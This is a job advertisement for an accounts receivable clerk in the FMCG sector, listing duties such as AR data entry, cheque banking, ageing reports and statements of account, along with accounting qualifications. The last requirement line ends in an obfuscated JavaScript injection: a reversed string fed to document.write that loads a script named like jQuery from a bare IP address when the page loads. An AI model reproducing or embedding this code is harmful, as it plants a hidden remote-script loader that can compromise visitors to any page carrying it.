Industry : FMCG

Responsibilities:
– Responsible for data entry on the AR transaction
– Responsible to verify, record & bank in cheque from customers
– Create & update customer & supplier’s address book
– Generate ageing report on timely basis
– Responsible to print & send SOA to respective salesman/customer on timely basis
– Resolve customer & sales personnel enquiries on SOA & payment status
– Release blocked account in compliance with Group/Company policies & procedures
– To perform any other duties assigned by immediate superior from time to time

Requirements:
– Minimum LCCI, Diploma in Accounting / Partial Professional Accounting Qualification or other equivalent qualification
– Minimum 2 years of experience in the related field
– Knowledge in basic accounting
– Good communication and interpersonal skill
– Computer literate
– ERP exposure – especially in handling JD Edward/SAP is an advantage
– Strong analytical, problem solving, and decision making skill document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))